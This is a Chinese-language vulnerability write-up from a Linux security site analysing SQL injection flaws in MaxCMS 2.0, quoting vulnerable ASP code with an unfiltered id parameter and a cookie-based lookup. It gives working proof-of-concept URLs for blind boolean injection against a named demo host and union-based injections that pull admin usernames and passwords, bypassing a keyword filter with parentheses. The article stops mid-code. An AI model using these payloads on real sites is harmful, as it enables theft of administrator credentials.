Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

maxcmsSQL注入漏洞解析

来源: 未知 分享至:

这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。

看代码

incajax.asp

  1. dim action : action = getForm("action""get")  
  2. response.Charset="gbk" 
  3.  
  4. Select  case action  
  5.     case "newslist" : viewNewsList  
  6.     case "newscontent" : viewNewsContent  
  7.     case "digg","tread" : scoreVideo(action)  
  8.     case "reporterr" : reportErr  
  9.     case "hit" : updateHit  
  10.     case else : main  
  11. End Select 
  12. terminateAllObjects  
  13.  
  14. ……  
  15.  
  16. Sub scoreVideo(operType)  
  17.     dim sql,id,digg,returnValue : id=getForm("id","get")   
  18.     \'通过get方式获取id的值  
  19.     if rCookie("maxcms2_score"&id)="ok" then die "havescore" 
  20.     if isNul(id) then die "err" 
  21.     \'on error resume next  
  22.     digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)  
  23.     \' 参数id,没有过滤就带入sql语句进行查询  
  24.     if err then digg=0 : err.clear()  
  25.     if not isNum(id) then echoSaveStr "safe" else id=clng(id)  
  26.     \' 查询到digg,注意返回的内容  
  27. …… 

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd),根据返回的内容判断就可以了。

如果构造的语句是正确的,就返回类似警告 你提交的数据有非法字符,你的IP【xxxx】已被记录,操作

构造的语句不正确,则返回500

Poc :

正确的:

  1. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97 

 
不正确的:

  1. http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99 

其实随便找个注射工具跑一下就ok了
 

以前也简单看了下这个系统。具体的代码也没记录,就留下两句注入语句,呵呵  可能现在这注入已经不在了。
真的很弱智的漏洞。因为sql检测过滤的时候是关键字判断,可是很多重要的关键字后面又加上了个个空格,这样就可以通过寂寞的刺猬发现的用()替代空格的方法绕过。

  1. http://localhost/play.asp?id=-999+union(select(password),2,3,4,5,6,7,8,9,0,1+from+[zt_admin])  
  2. http://localhost/play.asp?id=-999+union(select(adminname),2,3,4,5,6,7,8,9,0,1+from+[zt_admin]) 

 

另外一处注射

  1. Sub checkPower  
  2.     dim loginValidate,rsObj : loginValidate = "maxcms2.0" 
  3.     err.clear  
  4.     on error resume next  
  5.     set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username=\'"&rCookie("m_username")&"\'","execute")  
  6.     loginValidate = md5(getAgent&getIp&rsObj(0))  
  7.     if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href=\'index.asp?action=login\';</script>" 
  8.     if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href=\'index.asp?action=login\';</script>" 
  9.     checkManagerLevel  rsObj(1)  
  10.     set rsObj=nothing  
  11. End Sub 

其中

  1. Function rCookie(cookieName)  

最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史